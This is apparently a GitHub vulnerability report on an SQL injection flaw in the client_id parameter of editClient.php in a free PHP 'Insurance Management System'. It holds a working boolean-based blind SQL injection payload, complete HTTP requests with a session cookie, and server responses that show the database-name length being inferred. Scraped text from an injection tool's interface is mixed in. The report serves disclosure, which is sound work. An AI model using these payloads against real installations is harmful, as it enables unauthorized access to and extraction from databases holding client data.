

main

...

bug_report / vendors / itsourcecode.com / insurance-management-system / SQLi-2.md



debug601 Update SQLi-2.md

History

1 contributor

41 lines (25 sloc) | 1.52 KB

...

Insurance Management System v1.0 by oretnom23 has SQL injection

Author: k0xx

vendors: <https://itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/>

Login account: ahmed/12345 (Super Admin account)

Vulnerability File: /insurance/editClient.php?client_id=

Vulnerability location: /insurance/editClient.php?client_id=,client_id

[+] Payload: /insurance/editClient.php?

client_id=1511986256%27%20and%20length(database())%20=4--+ // Leak place --->
client_id

Current database name: lims,length is 4

```
GET /insurance/editClient.php?client_id=1511986256%27%20and%20length(database())%20=
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=tmbv0mt5ff9hphhe0mtv4sghfq
Connection: close

When length (database ()) = 3, Content-Length: 4084

```
GET /insurance/editClient.php?client_id=1511986256%27%20and%20length(database())%20=3--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=tmbv0mt5ff9hphhe0mtv4sghfq
Connection: close
```

```
HTTP/1.1 200 OK
Date: Sun, 01 May 2022 12:09:44 GMT
Server: Apache/2.4.48 (win64)
OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 4084
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>

<html>
<head>
```

INI

SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML ENCRYPTION

Load URL

Split URL

Execute

http://192.168.1.19/insurance/editClient.php?client_id=1511986256' and length(database()) = 3--+

☐ Post data

☐ Referrer

0xHEX


%URL

BASE64

Insert string to replace

Insert re

LIFE INSURANCE



welcome, ahmed

CLIENTS INFORMATION

When length (database ()) = 4, Content-Length: 6008

```
GET
/insurance/editClient.php?client_id=15
11986256%27%20and%20length(database()
)%20=4--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT
10.0; WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
PHPSESSID=tmbv0mt5ff9hphhe0mtv4sghfq
Connection: close
```

```
HTTP/1.1 200 OK
Date: Sun, 01 May 2022 12:09:21 GMT
Server: Apache/2.4.48 (Win64)
OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00
GMT
Cache-Control: no-store, no-cache,
must-revalidate
Pragma: no-cache
Content-Length: 6008
Connection: close
Content-Type: text/html;
charset=UTF-8

<!DOCTYPE html>

<html>
<head>
```

Load URL


Split URL

Execute

http://192.168.1.19/insurance/editClient.php?client_id=1511986256' and length(database()) =4|--+

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64 ☒ Replace

LIFE INSURANCE



welcome, ahmed

CLIENTS

AGENTS

CLIENTS INFORMATION

User profile picture
 未选择文件。

CLIENT ID
1511986256